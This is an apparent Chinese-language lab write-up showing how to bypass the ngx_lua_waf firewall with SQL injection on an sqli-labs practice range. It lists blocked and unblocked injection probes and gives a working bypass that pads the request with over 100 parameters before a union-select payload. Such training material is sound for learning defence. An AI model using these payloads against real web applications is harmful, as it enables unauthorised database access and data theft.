实验介绍
ngx_lua_waf是一个基于lua-nginx-module(openresty)的web应用防火墙 ,代码很简单,开发初衷主要 是使用简单,高性能和轻量级
实验目的
1. 掌握sql注入绕过ngx_lua_waf的方法与技巧
2. 了解 ngx_lua_waf 过滤方式
靶场环境
LNMP一键安装包+ngx_lua_waf
sqli-labs-master靶场+waf
实验步骤
第一步:
我们先来判断注入点
1' and 1=1 --+ 不拦截
1' and 1=2 --+ 不拦截
第二步:
既然不拦截,我们再来看看order by
1' order by 3 --+ 不拦截
order by 都不拦截,这个waf有点不行啊
第三步:
既然order by 都不拦截,再来看看select
-1' union select 1,2,3 --+ 拦截
第四步:
select终于拦截了,我们来尝试绕过
-1' /*!union/**/select*/ 1,2,3 --+ 拦截
-1' /*!50000/*!union/**/select*/*/ 1,2,3 --+ 拦截
看来这些都无法绕过看来我们要换一种方式了
ngx_lua_waf默认情况下,通过ngx.req.get_uri_args、ngx.req.get_post_args获取uri参数,只能获取前100个参数,当提交第 101个参数时,uri参数溢出,无法正确获取第100以后的参数值,基于ngx_lua开发的安全防护,无法对攻击者提交 的第100个以后的参数进行有效安全检测,从而绕过安全防御。
第五步:
既然知道了,我们再来添加参数来绕过把
1&id=1&id=1&id=1&id=1&id=1&id=1&id=1&id=1&id=1&id=1&id=1&id=1&id=1&id=1&id=1&id=1&id=1&id=1&id=1&id=1&id=1&id=1&id=1&id=1&id=1&id=1&id=1&id=1&id=1&id=1&id=1&id=1&id=1&id=1&id=1&id=1&id=1&id=1&id=1&id=1&id=1&id=1&id=1&id=1&id=1&id=1&id=1&id=1&id=1&id=1&id=1&id=1&id=1&id=1&id=1&id=1&id=1&id=1&id=1&id=1&id=1&id=1&id=1&id=1&id=1&id=1&id=1&id=1&id=1&id=1&id=1&id=1&id=1&id=1&id=1&id=1&id=1&id=1&id=1&id=1&id=1&id=1&id=1&id=1&id=1&id=1&id=1&id=1&id=1&id=1&id=1&id=1&id=1&id=1&id=1&id=1&id=1&id=1&id=1&id=1&id=1&id=1&id=1&id=1&id=1&id=1&id=1&id=1&id=-1' union select 1,2,3 --+
不拦截
PS:在最后一个参数加上闭合
第六步:
爆数据库名
database()都不拦了,看来他是对100个参数以后的不拦截了,看来后面的注入就和普通的联合注入是一样的了
第七步:
使用联合查询爆出来了表
既然后面的和联合查询一样,这里就不爆出所有内容了